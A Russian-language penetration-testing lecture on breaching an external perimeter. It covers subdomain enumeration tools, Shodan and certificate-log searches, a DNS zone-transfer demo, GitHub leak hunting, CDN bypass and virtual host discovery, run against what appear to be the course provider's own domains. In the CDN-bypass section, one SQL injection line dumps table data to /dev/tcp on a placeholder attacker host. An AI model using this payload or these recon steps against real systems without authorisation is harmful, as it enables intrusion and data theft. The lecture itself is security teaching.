---
# System prepended metadata

title: Лекция 1. Проникновение через внешний периметр

---

# Лекция 1. Проникновение через внешний периметр

## Введение:

Данный курс рассчитан на внутренний пентест, то есть различные методы тестирования корпоративной сети. Но первое занятие будет отличаться. Будем считать, что мы находимся во внешней среде, а затем попытаемся проникнуть в сам периметр. Со следующих занятий мы начинаем говорить о сетевых атаках, и о других вещах, которые будут непосредственно нам доступны из внутренней сети и не торчат в публичный интернет. 

При этом мы будем рассматривать несколько моделей, и нашей задачей будет проведение атак на саму сеть, на различные сервера и приложения, которые в этой сети есть, а так же на пользовательские станции. Используя эти методы и методы бокового перемещения, про которые мы будем говорить позднее, получим доступ к закрытым сегментам, и будем заниматься повышением привилегий в сетях с Active Directory. 

Таким образом, будем получать доступ куда-то, что и вытекает из требований стандарта некого аттестационного пентеста. То есть нашей задачей будет понять, как происходит процесс пентеста в подобных сетях и научиться его проводить на том или ином уровне. Мы будем рассматривать разные модели, то есть мы будем стараться понимать, как действовать, не имея изначально никаких привилегий или что можно сделать уже изначально, имея привилегии.

## Сбор информации

Сейчас мы поговорим о том, что же делать на самом первом этапе, когда вы получили некие данные, вводные о том, как вообще устроена ваша цель и что это такое, но вы ещё не знаете, что с ней делать. То есть, когда мы говорим о пентесте, его можно условно разделить на достаточно большое количество шагов. 

Сегодня мы будем обсуждать именно проникновение через внешний периметр. То есть сначала это будет сбор информации об этом периметре и дальнейшее использование этой информации, что бы проходить дальше. Когда мы находимся во внешней сети, нет возможности использовать простые вектора. Все хосты, которые доступны из внешнего интернета, сканируются и атакуются большим количеством ботов, и эти боты эксплуатируют уязвимости, которые они в принципе могут найти и использовать без помощи человека, то есть всё, что выполняется автоматически, будет рано или поздно проэксплуатировано. Поэтому какие-то типичные вектора здесь не применимы, так как они очень быстро используются ботами для задач, которые очень легко детектируются администраторами. 

Помимо этого мы не можем применять никакие сетевые атаки, например, arp spoofing или работа с dhcp. Подобные атаки мы тоже не можем применить, потому что мы имеем доступ к такой машине только через интернет. Соответственно при работе с внешним периметром наша главная задача - построение определённой attack surface, то есть мы хотим найти всё, с чем мы можем взаимодействовать и потом уже определить, что здесь можно атаковать. Методы атаки на этом этапе являются достаточно специфическими, так как здесь очень много зависит от OSINT. 

В первую очередь вам нужно найти все сети и домены компании, то есть чем больше её периметр, тем больше шансов найти что-то, что было забыто, или, например, что-то интересное с точки зрения эксплуатации уязвимостей. Нужно найти вообще всё, что доступно с внешнего интернета. Затем попытаться среди этого выбрать какое-нибудь старое приложение с кучей уязвимостей. 

Здесь можно идти по следующему алгоритму: 

* нам нужен сначала какой-нибудь основной домен компании
* разобираемся этот домен находится на хостинге или закрыт CDN (это сеть доставки контента, которая будет использоваться в качестве такого прокси между нашими пользователями и самим сервером)
* собираем поддомены
* необходимо понять их ip-адреса
* анализ полученного списка доменов и адресов
* разбить полученный список на подсети по диапазонам
* выделить в отдельный список домены, которые могут резолвиться во внутренние ip-адреса
* проверить на доступность адреса из списка и понять что там вообще находится
* проверка диапазонов ip-адресов и доменов на их принадлежность компании
* с помощью сканера определяем открытые ip-адреса и открытые порты на них
* проходим по открытым портам с помощью нашего сканера
* анализируем информацию и как-то её выделяем (например, веб-приложения отдельно, потому что им нужен ручной анализ)
* фаззинг параметров
* перебор паролей в формах для входа 

Когда мы работаем с сетями, зачастую именно веб-уязвимости становятся точкой входа, так как в них есть много различных проблем, которые могут часто эксплуатироваться только человеком, то есть, например, это может быть что-то очень простое типо sql-инъекции, так как робот не может довести sql-инъекцию довести до RCE самостоятельно, или даже не может её найти, если напрямую ему не указать URL, как это можно сделать, например, с каким-нибудь sql map.

## Subdomain enumeration

Начнём непосредственно с этапа сбора информации о доменах, так как это для нас является одним из наиболее важных источников информации о том, что вообще есть в компании: какие есть связанные с компанией данные, другие сервера, подсети и подобные вещи. 

> Все проверки проведём на доменах hackeru.pro  и hackeru.com

**Инструменты:** 
* subfinder
* assetfinder
* gau
* amass
* altdns
* dnsgen, massdns, subbrute

**Источники:**
* Поисковые системы:
    * Google
    * Yandex
    * Shodan
    * Zoomeye
    * Censys
* Данные из SSL-сертификатов
* PTR-записи для IP-адресов
* Передача зоны DNS
* Github

Теперь нам нужно выделить доменные имена и их связь с ip-адресами. Важно понимать, что когда это происходит, используются специальные инструменты, а эти инструменты, в свою очередь, обращаются к API различных сервисов и ведут в некоторых сервисах банальный брутфорс. Это значит, что их результаты могут варьироваться, например, если сервис использует google для того, что бы искать какие-то домены, то у меня может быть больше результатов, чем у кого-то, у кого в гугле выдаются капчи из-за неприятного соседства с какими-нибудь спамерами. Это необходимо учитывать, и сейчас на практике посмотрим, будут ли такие результаты различаться. Вам надо запустить машину с kali. 

### Инструменты

#### Subfinder 
 
Subfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно.

[Источники](https://github.com/projectdiscovery/subfinder/blob/master/v2/pkg/passive/sources.go), с которыми работает subfinder бывают бесплатными и платными соответственно. Все они требуют API-ключ, который либо нужно купить, либо он выдаётся бесплатно после регистрации. Естественно что работа с платными сервисами, повышает шанс успеха при поиске важной информации. Работает с такими сервисами как: Shodan, Zoomeye, Censys и так далее.

Первое что нужно сделать - поставить проект subfinder, который будет для нас одним из наиболее простых и удобных средств для сбора информации.

Поставить его можно командой:

`kali@kali:~$ sudo apt install subfinder`

> Помимо репозиториев его также можно поставить с [github](https://github.com/projectdiscovery/subfinder).

У subfinder есть большое количество опций. Что бы посмотреть их все необходимо написать `subfinder -h`

Давайте сейчас создадим директорию, в которую будем сохранять всю информацию в дальнейшем и назовём её hackeru_recon: 

`kali@kali:~/tmp$ mkdir hackeru_recon`

На начальном этапе нам достаточно:

* Убрать различные мёртвые субдомены или wildcard субдомены
* Вывести всё это в формате, в котором нам будет удобно работать
* Указать лог, где всё это хранить
* Указать домен для поиска

Таким образом получаем команду: 

`kali@kali:~$ subfinder -nW -oI -o ~/tmp/hackeru_recon/hackeru_pro.log -d hackeru.pro`

* `-nW` - удаление мёртвых поддоменов из вывода
* `-oI` - запись вывода в формате Host, IP
* `-o ~/tmp/hackeru_recon/hackeru_pro.log` - файл, в который запишем результат
* `-d hackeru.pro` - домен для поиска поддоменов
 
Пример результата: 

![](https://i.imgur.com/tKbgsJp.png) 

Тоже самое можем сделать для hackeru.com:

`kali@kali:~$ subfinder -nW -oI -o ~/tmp/hackeru_recon/hackeru_com.log -d hackeru.com`

Пример результата:

![](https://i.imgur.com/XinSUw1.png)
 
:::info
Обратите внимание, что здесь есть набор самих доменов, но в логе будет написан домен и ip-адрес.
:::

Это результат для hackeru.com:

![](https://i.imgur.com/BpYGFCy.png) 
 
Далее нам будет полезно узнать к какой сети относятся полученные домены. Для этого возьмём любой ip-адрес из файла hackeru_pro.log:

`kali@kali:~/tmp/hackeru_recon$ whois 91.201.41.203`

* `whois` - команда, позволяющая получить в текстовом виде регистрационные данных о владельцах ip-адресов и доменных имён

Результат:

![](https://i.imgur.com/J9IU3Q4.png)

При анализе информации видно, что это некоторая контора LLC "RuWeb". По необходимости дальнейший анализ уже может отделить сети провайдеров от сетей связанных с какими-то хостерами. Например, мы можем сделать выделение ip-адреса в отдельный список и отсортировать их, убрав не уникальные:

`kali@kali:~/tmp/hackeru_recon$ cat hackeru_pro.log | cut -f2 -d , | sort -u`

* `cut -f2` - столбец, который мы хотим получить
* `cut -d ,` - с помощью этой опции пользователь устанавливает свой разделитель вместо стандартного TAB
* `sort -u` - игнорировать повторяющиеся строки

Результат:

![](https://i.imgur.com/TNhlaMH.png)

Вот так мы получили некоторый набор адресов, которые могут быть очевидно связанными, но они могут быть связаны с какими-то хостинговыми компаниями. Проверяя каждый ip-адрес из списка с помощью "whois" можно заметить, что 217.74.36.5 - DataFort Autonomous System. Это российский облачный провайдер. 

#### Assetfinder

Assetfinder отличается от subfinder по сервисам и методам работы. У него в запасе всего один атрибут, а работает с такими сервисами как: crt.sh, certspotter, hackertarget

Ставится командой:

`kali@kali:~$ sudo apt install assetfinder`

> Помимо репозиториев его также можно поставить с [github](https://github.com/tomnomnom/assetfinder)

Для сравнения с subfinder можем проверить что нам выведет assetfinder.

Вывод всех поддоменов hackeru.pro:

`kali@kali:~/tmp/hackeru_recon$ assetfinder --subs-only hackeru.pro`

* `-subs-only` - вывод только поддоменов

Пример результата:

![](https://i.imgur.com/WR9myEt.png)

Можем записать результат в файл:

`kali@kali:~/tmp/hackeru_recon$ assetfinder --subs-only hackeru.pro >> hackeru_pro2.log`

Далее можете самостоятельно просмотреть данный файл, отсортировать на вывод только доменов и так далее. Так же мы можем вывести количество доменов. Это делается командой: 

`kali@kali:~/tmp/hackeru_recon$ cat hackeru_pro.log | cut -f1 -d , | sort -u | wc -l`

* `wc -l` - Вывести количество строк в объекте

В файле, полученном благодаря subfinder, у меня получилось 28, а у assetfinder - 19.

#### GAU

GAU (GetAllUrls) - средство, которое находит не только домены, но и URL.

Его можно поставить из [репозитория](https://github.com/lc/gau), из [релиза](https://github.com/lc/gau/releases) или командой:

`GO111MODULE=on go get -u -v github.com/lc/gau`

Пример использования:

`kali@kali:~/tmp/hackeru_recon$ ~/go/bin/gau -subs hackeru.pro`

* `gau -subs hackeru.pro` - включить в поиск поддомены домена hackeru.pro

Пример результата: 

![](https://i.imgur.com/VSRYCYj.png)

Это только часть результата, таких ссылок в разы больше. Не по каждой из них у нас будет доступ. Все эти ссылки могли попасть к нам, если, например, их слили антивирусные средства.

Далее самостоятельно можно пройтись по подобным ссылкам автоматическими средствами, выделить, например, ссылки с активными частями, то есть с какими-то параметрами и так далее. Потом найти что-нибудь, что позволит вам проэксплуатировать уязвимость.

Это первые шаги, которые связаны непосредственно с анализом всех открытых источников. 

#### Amass

[Amass](https://github.com/OWASP/Amass) - инструмент, от OWASP, который непосредственно предназначен, для Attack Surfaces Mapping и Asset Discovery. Он автоматизирует многие задачи по ведению подобного OSINT, и здесь есть много разных модулей, в том числе связанных с DNS. 

Важно отметить что так же тут есть scraping, который позволяет найти различные endpoint, с которыми мы можем работать. Также есть работа с сертификатами, большой набор API и работа с web-архивом. Помимо выполнения amass на прямую у себя, вы можете также использовать docker или можно скачать amass напрямую без сборки исходников.

Пример использования:

`kali@kali:~/tmp/hackeru_recon/amass_linux_amd64$ ./amass intel -whois -d hackeru.pro`

Для дальнейшей работы с amass поможет [Users' Guide](https://github.com/OWASP/Amass/blob/master/doc/user_guide.md). 

#### Altdns

Когда мы собираем информацию только из поисковых систем или других источников, мы не можем угадать какие-то имена хостов, которые тоже могут появиться, так как в этом случае мы знаем только то что уже каким-то образом попало в публичный или полупубличный доступ. Поэтому одной из важных стратегий здесь будет ещё и перебор различных доменов или других имён, которые могут нам пригодится для того чтобы в дальнейшем вести пентест.

Один из примеров утилит, работающих как брутфорсер - [altdns](https://github.com/infosec-au/altdns).

Это средство пытается найти какие-то домены, которые будут связаны с теми что у нас уже есть. Работать это будет примерно следующим образом: уже известные поддомены начинают соединяться, к ним добавляются различные паттерны, числовые префиксы и так далее. Другими словами это позволяет вам перейти уже к следующему этапу: на основе известных поддоменов искать неизвестные, либо простым перебором, либо уже через различные пермутации. 

Давайте посмотрим как это может сделать altdns. 

Возьмём поддомен из тех, что мы получали выше. Выделяем оттуда первый набор, убираем дубликаты:

`kali@kali:~/tmp/hackeru_recon$ cat hackeru_pro2.log hackeru_pro.log | cut -f1 -d, | sort -u`

Пример результата:

![](https://i.imgur.com/hvuZFiW.png)

Например, мы знаем что всего 29 поддоменов (в зависимости от использованных утилит, их количество может меняться).

Переводим в текстовый файл:

`kali@kali:~/tmp/hackeru_recon$ cat hackeru_pro2.log hackeru_pro.log | cut -f1 -d, | sort -u > subdomains.txt`

Далее используя различные словари нам необходимо попытаться эти результаты мутировать.

Просмотрим опции командой: 

`kali@kali:~/tmp/hackeru_recon$ altdns -h`

![](https://i.imgur.com/aliriFp.png)

Видим, что мы можем, например указать сначала слова, которые можно использовать для того чтобы менять поддомены. Их потом можно резолвить и сохранять результаты куда-нибудь в файл. 

Типичный синтаксис такой команды будет: 

`kali@kali:~/tmp/hackeru_recon$ altdns -i subdomains.txt -o output.txt -w words.txt -r -s results.txt`

* `-i subdomains.txt` - указание списка наших поддоменов
* `-o output.txt` - вывод результата в output.txt
* `-w words.txt` - указание словаря
* `-r` - резолв всех результатов
* `-s` - запись всего, что зарезолвилось, в файл results.txt

> words.txt - берём с гитхаба

Таким образом мы можем подобавлять к доменам подобные паттерны и затем найти что-то что могло в поисковики не попасть. 

#### Dnsgen, massdns, subbrute

Есть также некоторые другие проекты, которые могут заниматься подобными вещами, например, это проект [dnsgen](https://github.com/ProjectAnte/dnsgen). Он работает следующим образом: использует какие-то известные имена, затем их пытается мутировать, но в отличие от altdns, он не резолвит это сам.

Резолв dns имён не очень быстрый процесс, но такая функциональность реализована максимально эффективно в проекте [massdns](https://github.com/blechschmidt/massdns).

Для поиска поддоменов есть программа [subbrute](https://github.com/TheRook/subbrute), которая просто быстро перечисляет поддомены через перебор по какому-либо словарю. Такой подход может быть более эффективным чем, например, различные пермутации. Реализация данного проекта тоже достаточно медленная.

Посмотрим как это работает с subbrute. В нашей Kali есть такой инструмент как sublist3r. Установим его командой: 

`kali@kali:~/tmp/hackeru_recon$ sudo apt install sublist3r`

Посмотрим все параметры: 

`kali@kali:~/tmp/hackeru_recon$ sublist3r --help`

Результат: 

![](https://i.imgur.com/380zRta.png)

Видим, например, что мы можем указать, что мы хотим забрутфорсить имена для доменов hackeru.pro. Далее мы можем указать список таких доменов, которые будем проверять. Другими словами, совмещая различные опции каждый может получить желаемый и удобный результат.

Но всё же наиболее простым и удобным способом будет использование massdns, и соответственно генерировать dns имена просто через конкатенацию.

### Источники

#### Поисковые системы

Одним из источников информации будут поисковые системы (Google, Yandex, Shodan, Zoomeye, Censys). Они могут помочь найти какие-то вещи, которые доступны нам через сканирование портов или фактические результаты выполнения скриптов по сканированным портам. 

[Shodan](https://www.shodan.io/) может искать по баннерам портов.

Пример:

![](https://i.imgur.com/BIfgWfC.png)

Мы находим такой сервер sec-infra.hackeru.com, который содержит в себе какой-то флаг. Также здесь есть очень много других возможностей, например, мы можем найти какие-то специализированные данные, связанные с сертификатами. С этим нам помогут [фильтры Shodan](https://help.shodan.io/) . 

Применим фильтр ssl:

![](https://i.imgur.com/gj776r1.png)

Видим ssl сертификат. Домен здесь mail.nbki.pro. Это позволяет нам найти какую-то интересную информацию. Нажимаем на "Онлайн портал HackerU Russia". 

![](https://i.imgur.com/y1mk81u.png)

Мы видим что здесь условно есть vsFTPD, листая дальше видим что есть 80 и 443 порты, и на 443 порту есть сертификат CN=lms.hackeru.pro. Соответственно, зная это мы уже могли бы, например, обойти CDN. Такой сертификат может говорить о том, что сервер связанный с этим сайтом находится здесь. Также можно увидеть что здесь открыто MySQL. 

Таким образом, мы можем найти различные endpoint уже по каким-то данным, которые недоступны для обычных поисковиков. 

Применим теперь ssl фильтр к hackeru.com 

![](https://i.imgur.com/0B4tftp.png)

Теперь мы видим 169 результатов. Причём 167 из них находятся в США, а 2 в Ирландии. Если внимательно смотреть эти результаты, мы увидим, что здесь (в двух результатах) есть нормальные сервера Амазона, а в 167 результатах есть так называемая Incapsula. Это компания, которая занимается фактически CDN сетью, и соответственно через эту сеть отправляются все запросы от пользователей, и они не идут напрямую, то есть это защищает от DoS, а так же от других различных атак, и соответственно позволяет балансировать нагрузку. 

Таким образом, мы можем находить различные хосты, связанные с компанией и сразу же не сканируя порты, смотреть что вообще здесь есть. 

Помимо Shodan есть 2 важных альтернативы: ZoomEye и Censys.

[ZoomEye](https://www.zoomeye.org/) - китайская версия Shodan. У неё хуже качество поиска. Также здесь есть сканирование веб-приложений, но если у вас не получается сюда подключиться, то чаще всего виноват какой-нибудь китайский firewall, особенно если вы сейчас находитесь за какой-нибудь vpn, у вас оно может просто не открыться. 

Соответственно ZoomEye работает точно также как Shodan. Необходима регистрация. Но его большой плюс, в том что Zoomeye  сохраняет все рузьтаты за 2018, 2019, 2020 и так далее. 

Пример интерфейса с результатом:

![](https://i.imgur.com/9ELCKTm.png)

Резолв выделен для Амстердама. Домен Sec-infra.hackeru.pro. Возможно это какое-то одно из заданий ctf с флагом. 

Так же здесь есть различные фильтры, которые помогают вам ориентироваться в подобных результатах. 

[Censys](https://search.censys.io/) делает примерно тоже самое. Там есть свой набор фильтров, и в целом обычно всю эту информацию стараются агрегировать. Соответственно здесь тоже есть интерфейс для поиска. 

![](https://i.imgur.com/TMhNETH.png)

Результат запроса по hackeru.pro:

![](https://i.imgur.com/Haq8zyW.png)

Результат запроса по hackeru.com:

![](https://i.imgur.com/8WvjdG8.png)

Таким образом, мы можем сравнивать результаты вывода этих сервисов. То есть они все помогают вам найти какие-то данные по результатам сканирования всего интернета.

Так же есть оффлайн [аналог](https://opendata.rapid7.com/). Он даёт все те же возможности практически бесплатно.

#### Работа с SSL-сертификатами

SSL-сертификаты связаны с безопасностью нашего интернета, что приводит к определённым забавным последствиям. Дело в том, что для был придуман Certificate Transparency - это стандарт для мониторинга и аудита цифровых сертификатов. 

Сейчас в интернете безопасность зависит от доверия к центрам сертификации и к тем сертификатам, которые они выдают. Соответственно когда вы заходите веб-браузером на веб-сервер, веб-браузер может проверить сертификат и убедиться, что он действительно подписан центром сертификации. Чтобы избежать проблем многие центры сертификации публикуют все сертификаты, которые они выдают в общедоступных базах данных. Естественно публикуется только открытая часть, это формирует так называемые журналы прозрачности. Эти журналы содержат в себе все выданные сертификаты, что позволяет вам с ними работать напрямую через браузер, например, что бы убедиться, что предоставленный сертификат совпадает с тем, который был выдан. 

Для нас как для пентестеров важно то, что доступность таких сертификатов обозначает что мы можем по ним вообще искать. То есть мы можем найти, например, сертификат, который соответствует определённому доменному имени и обнаружить всё, что имеет связь с этим доменом. 

В целом таких же каналов прозрачности очень и очень много, но к нашему счастью есть определённая компиляция всех журналов, которая доступна ввиде базы данных postgresql, причём доступна для любых пользователей. Это специальный центр, который называется [crt.sh](https://crt.sh/). Он позволяет указать identity, доменное имя, имя организации или Certificate Fingerprint и по нему найти всё остальное. 

Например: hackeru.pro

Результат:

![](https://i.imgur.com/DlyQIL3.png)

Видим очень много разных сертификатов на разные домены, которые мы возможно ещё не находили с помощью других утилит. На них видно все сертификаты, которые были когда либо выданы. 

Если рассматривать этот интерфейс можно часто увидеть 503 ошибку, в этом случае можно использовать клиент postgresql и подключиться к ним напрямую через из postgresql базу, которая является более стабильной.

Что бы это сделать, необходимо поставить клиент командой: 

`kali@kali:~$ sudo apt-get install postgresql-client-12`

Самый удобный способ подключиться туда через проект [tlshelpers getsubdomain](https://github.com/hannob/tlshelpers/blob/main/getsubdomain)

Сохраняем проект, например, с именем getsubdomain.sh. Далее можем его применять: 

`kali@kali:~/tmp/hackeru_recon$ bash getsubdomain.sh hackeru.pro`

Результат:

![](https://i.imgur.com/BkZfF0j.png)

Видим что запрос получился не совсем удачным, потому что часть нашлась через веб-интерфейс. 

Таким образом, мы можем найти какие-то другие полезные для нас данные, которые позволят найти дополнительные хосты.

#### PTR-записи для IP-адресов

PTR-записи для IP-адресов автоматически получаются при сканировании дефолтными опциями map, но так же их можно получать massdns с гораздо большей эффективностью. Зная PTR-записи для ip-адресов, вы можете узнать какие домены с ними связаны, даже если напрямую на них нет ссылок. То есть если вы знаете что некоторая подсеть принадлежит компании, вы просто выполняете с помощью massdns или чего-то подобного запрос связанного с этой компанией адреса. 

Пример запроса:

`kali@kali:~/tmp/hackeru_recon$ host 4.3.2.1`

То есть мы указываем ip и по нему получаем домен. 

Вот так можно найти доменные имена, к которым затем мы обратимся. Через обращение к этому доменному имени получим доступ к какому-нибудь веб-приложению, которые мы в дальнейшем будем анализировать на различные уязвимости. Данные запросы стандартные, все сканеры умеют это делать.

#### Передача зоны DNS

Есть специальные dns запросы, которые выполняют так называемый zone transfer. Это AXFR запрос, который позволяет получить полный список записей в зоне, которые в свою очередь позволяют увидеть все настройки адресации домена. Если этот запрос выполнить, то мы можем получить вообще всю зону, то есть фактически все dns имена известные серверу. Для корректно настроенных dns-серверов это не так, потому что эти запросы должны использовать только для передачи сведений между разными авторитативными серверами, которые эту зону поддерживают. Соответственно обычный пользователь теоритически не должен этот запрос выполнять, но к сожалению бывают проблемы, причём они бывают у очень серьёзных хостеров. 

> Например, где-то в 2017 году слили всю зону dot.ru. То есть в какой-то момент dns сервер был настроен там неправильно. Эта проблема достаточно опасная за счёт того, что можно было получить вообще всю зону dot.ru с несколькими миллионами записей. Из-за этого теперь можно посмотреть все доменные имена в [России](https://github.com/mandatoryprogrammer/RussiaDNSLeak).

Пример такого трансфера можно показать на специальном сервере. Выглядит это следующим образом: 

`kali@kali:~/tmp/hackeru_recon$ dig axfr @nsztm1.digi.ninja zonetransfer.me`

Это dns сервер, который настроен неправильно, что бы продемонстрировать саму атаку

После выполнения такого запроса:

`kali@kali:~/tmp/hackeru_recon$ dig axfr @nsztm1.digi.ninja zonetransfer.me | less`

Часть результата:

![](https://i.imgur.com/CKFYkGw.png)

Мы находим очень много разных доменных имён. Так это может теоретически выглядеть при успешной атаке на какой-нибудь сервер. Само наличие такой зоны трансфера обычно считается уязвимостью, потому что это достаточно опасная конфигурация, которая может приводить к утечкам данных.

####  Github

Один из важных источников - Github, который в свою очередь может тоже содержать важные данные. Обычно это происходит, если компания, имеет какую-то it-службу, которая теоретически может этим гитхабом пользоваться. 

Дело в том, что в гитхабе достаточно часто утекают различные критичные данные, например, очень часто утекают различные API-ключи или другие криптографические данные. Даже утекают данные для доступа в какие-то внутренние сети. 

Это привело к тому, что появилось достаточно большое количество проектов ищущих такие данные. Хотя их также можно искать вручную, так как у гитхаба есть очень интересная система для поиска, которая позволяет искать не только по конкретному репозиторию, но и в целом по всем репозиториям в том числе используя различные фильтры.

Напишем в поиске гитхаба hackeru.pro:

![](https://i.imgur.com/YwSHd9K.png)

Видим что есть очень много разных проектов. Которые уже можно анализировать на наличие важных данных.

Так в больших компаниях вы теоретически можете найти какие-то различные проекты с утечками и другой информацией внутри, которая может быть для вас полезна. 

Для того что бы это автоматизировать есть проект [github-dorks](https://github.com/techgaun/github-dorks), который ищет через поиск на гитхабе. 

Есть также [gitrob](https://github.com/michenriksen/gitrob) - это инструмент, помогающий находить потенциально конфиденциальные файлы, помещенные в общедоступные репозитории на Github. 

В целом у этих инструментов большое количество различных аналогов, но суть в том что они используют какие-то access token от github. Также можно использовать ограничения через фильтры. Таким образом, можно найти какую-то важную информацию в коммитах или в других источниках. 

## CDN bypass

Методы обхода:

* Анализ IP-адресов поддоменов 
* История DNS-имён
* Shodan, Zoomeye, Censys
* Анализ заголовков Email
* Crimeflare.org (для Cloudflare)
* Уязвимости (XXE, SQLi, RCE)

Когда мы используем CDN, необходимо понимать что это сервис, который является посредником между запросом клиента к веб-сайту и сервером, то есть клиент отправляет запрос на CDN, который в свою очередь переотправляет его далее. 

Таких CDN довольно много, наиболее популярны пожалуй Cloudflare и Incapsula. Стоит обратить внимание, что CDN используются ими для защиты веб-сайтов, и они поддерживают такие протоколы как HTTP и HTTPS. Работают они следующим образом:

-> у посителя сайта имеется  домен -> домен резолвится в адрес CDN -> компьютер отправляет запрос на сервер CDN -> CDN отправляет его непосредственно на сайт -> ответ возвращается на CDN -> ответ идёт обратно к пользователю. 

Это нужно в первую очередь для того чтобы избежать dos-атак, так как досить CDN это абсолютно бесполезное занятие. Хороший  CDN выдерживает очень серьёзные атаки.

:::info
Различные сервисы типо SSH, FTP и так далее будут недоступны, потому что CDN их не проксирует.
::: 

Необходимо понимать, что вам нужно найти адрес endpoint, который будет связан непосредственно с сервисом, который всё это раздаёт. Для того что бы это делать есть достаточно много вариантов. 

#### Анализ IP-адресов поддоменов

Первый и самый простой вариант - анализ ip-адресов поддоменов. Например, если посмотреть на выводы команд, которые мы ранее видели, можно заметить что есть различные домены, которые могут быть за CDN, и есть домены, которые видны напрямую. Есть очень большие шансы что если мы отправим на них соответствующий запрос, это проще всего сделать каким-нибудь curl, получим некий ответ, который в дальнейшем можно использовать для анализа других endpoint.

Например: 

`kali@kali:~/tmp/hackeru_recon$ curl -H "Host: hackeru.pro" https://hackeru.pro`

Если ответ будет правильным, это значит, что вы нашли тот самый реальный ip-адрес, которому отправляются CDN. То есть те, кто атакуют могут не знать, что за адресом CDN встречается именно один из адресов поддомена и атаковать будут сам CDN, что не позволит им нанести серьёзный ущерб.

#### История DNS-имён

Можно применять ещё историю DNS-имён, которая есть на большом количестве сервисов.

Например, есть такой сервис как [securitytrails](https://securitytrails.com/). Он платный, и соответственно у него есть очень много различных вариаций, например, можно указать здесь домен и по нему будет вестись некоторая аналитика.

Результат запроса:

![](https://i.imgur.com/2d05lH6.png)

Видим MX записи, NS записи, ipv6, ipv4 и тут есть historical data:

![](https://i.imgur.com/cr5xLEW.png)

Она платная. Одна запись доступна бесплатно, но для доступа к остальным необходимо залогиниться. 

Есть также бесплатный инструмент называемый [viewdns](https://viewdns.info/). У него можно найти такой инструмент как [iphistory](https://viewdns.info/iphistory/). 

Вводим на домен:

![](https://i.imgur.com/ugqlrXT.png)

Данный инструмент является бесплатным, он как раз показывает старые записи. Мы видим что, например, сейчас используется ip-адрес 185.146.2.237, а до этого был адрес 92.53.96.229 и так далее. 

Если сначала CDN не было, а потом его добавили, а ip-адрес не сменился, то вы можете найти адрес в списке и увидеть, что он соответственно теперь находится за CDN. Теперь вы можете обратиться к нему напрямую. Так можно получить информацию о том где конкретно данный хост находится, а это уже можно использовать в различных атаках. 

Далее есть ещё сервис [dnssumpster](https://dnsdumpster.com/), который тоже занимается dns recon в различных его видах. 

Снова смотрим на примере hackeru.pro:

![](https://i.imgur.com/NiKvRTk.png)

Тут также есть поиск dns-серверов, записи, txt записи, запись с хостами. Это статичная база данных с собранными различными сервисами. Также есть mapping 

![](https://i.imgur.com/kuQHsvL.png)

Данный сервис можно считать одним из аналогов консольных утилит, которые мы до этого рассмотрели. 

#### Shodan, Zoomeye, Censys

Также есть способы связанные с Shodan, Zoomeye и Censys. То есть если мы найдём хост с таким же сертификатом, используя фильтры ssl, тогда мы сможем найти сначала сервер за CDN, затем его также проверить и увидеть что он действительно даёт вам доступ к этому сайту. Это стоит попробовать сделать самостоятельно.

#### Анализ заголовков Email

Также мы можем ещё анализировать заголовки e-mail адресов. Отправка почты идёт непосредственно с сервера электронной почты. Этим сервером может быть тот же компьютер, на котором расположено веб-приложение. Мы через компьютер можем пытаться отправлять почту, например, какой-нибудь информационный билютень, сообщения о регистрации или что-то подобное. В этой почте есть определённая утечка за счёт заголовков письма, которые включают в себя зачастую ip-адрес отправителя. 

Посмотрим на заголовок какого-нибудь письма и увидим что в таких заголовках могут встречаться довольно полезные для нас данные, например, кто письмо получил, от кого и соответственно с какого ip-адреса.

Пример заголовка письма:

![](https://i.imgur.com/Qh6A4Yn.png)

Здесь мы можем проследить путь письма и увидеть ip-адрес самого сервера, который там будет. 

#### Crimeflare.org (для Cloudflare)

Ещё интересный момент связан непосредственно с cloudflare. Так как здесь есть замечательные ресурс Crimeflare.org, который доступен по порту 82.

Данный ресурс позволяет получить информацию о многих хостах с cloudflare, в которых есть определённые настройки. Они разбираются там с сертификатами и некоторыми другими типичными ошибками, и соответственно используя их базу данных вы можете сразу же обнаруживать хосты, которые находятся за CDN.

На сайте сrimeflare видим:

![](https://i.imgur.com/6nDJfMI.png)

Тут есть несколько файлов, например, ipout.zip наиболее полезный из них. В нём есть набор доменов и набор ip-адресов. Соответственно эти ip-адреса, это реальные ip-адреса, которые находятся за CDN. Таким образом, вы можете первым делом посмотреть свежие утечки, которые обновляются очень часто.

#### Уязвимости (XXE, SQLi, RCE)

При работе с уязвимостями, мы можем выполнять различные действиях даже не смотря на то, что CDN часто применяется в качестве WAF и может блокировать различные атаки.

Например, через mysql при наличии прав на работу с файлами в файловой системе мы можем выполнить какую-нибудь конструкцию вида: 

`SELECT * FROM table WHERE name=admin INTO DUMPFILE /dev/tcp/our.host/1234`

Таким образом, мы можем узнать ip-адрес и в некоторых других уязвимостях, например в XXE или в инъекциях в другие базы данных. 

Мини-вывод: 

Когда вам нужно получить ip-адрес за CDN, вы:
1. Проверяете поддомены
2. Проверяете поисковые системы
3. Проверяете почту. 
 
Уязвимости это более сложные сценарии, так как вам нужно ещё их обнаружить, а CDN будет очень сильно мешать использовать автоматические средства, что тоже является причиной для её обхода, потому что если вы будете анализировать безопасность веб-приложений непосредственно через CDN, то любое приминение автоматических средств без каких-то очень сильных задержек придёт к тому, что ваши ip-адреса будут постоянно банить, а если вы будете использовать какие-то прокси и что-то подобное что бы их менять, то они будут банится просто за то что они являются прокси, что серьёзно усложнит анализ.

##  Virtual host discovery

Virtual host discovery - это интрузивное действие. Его не стоит проводить на каких-то различных серверах, с которыми у вас нет соответствующих соглашений.

Когда мы выполняем host discovery мы соответственно перечисляем различные виртуальные хосты по определённым заданным словарям. Можем при этом также вести запрос по dns, и соответственно чаще всего это используется в случае когда на сервере есть разный сайты, у которых нет каких-то dns-записей, но приложение всё же доступно по определённому имени. 

> Например, очень частая ситуация: есть какой-нибудь domain.com, мы обращаемся к нему и получаем новую актуальную версию сайта. Но ранее была версия old.domain.com и её несколько лет назад отключили. Теперь вот это dns имя убрали, но само веб-приложение по каким-то причинам осталось доступным, то есть отключили именно через убирания dns-записи. Поэтому когда мы идём по old.domain.com напрямую мы получаем ответ что такого домена вообще нет.

Инструменты:

* gobuster vhost -u https://mysite.com -t 50 -w subdomain.txt
* https://github.com/allyshka/vhostbrute
* https://github.com/codingo/VHostScan

Virtual host discovery будет подробнее рассмотрен на [втором занятии](https://).

---
---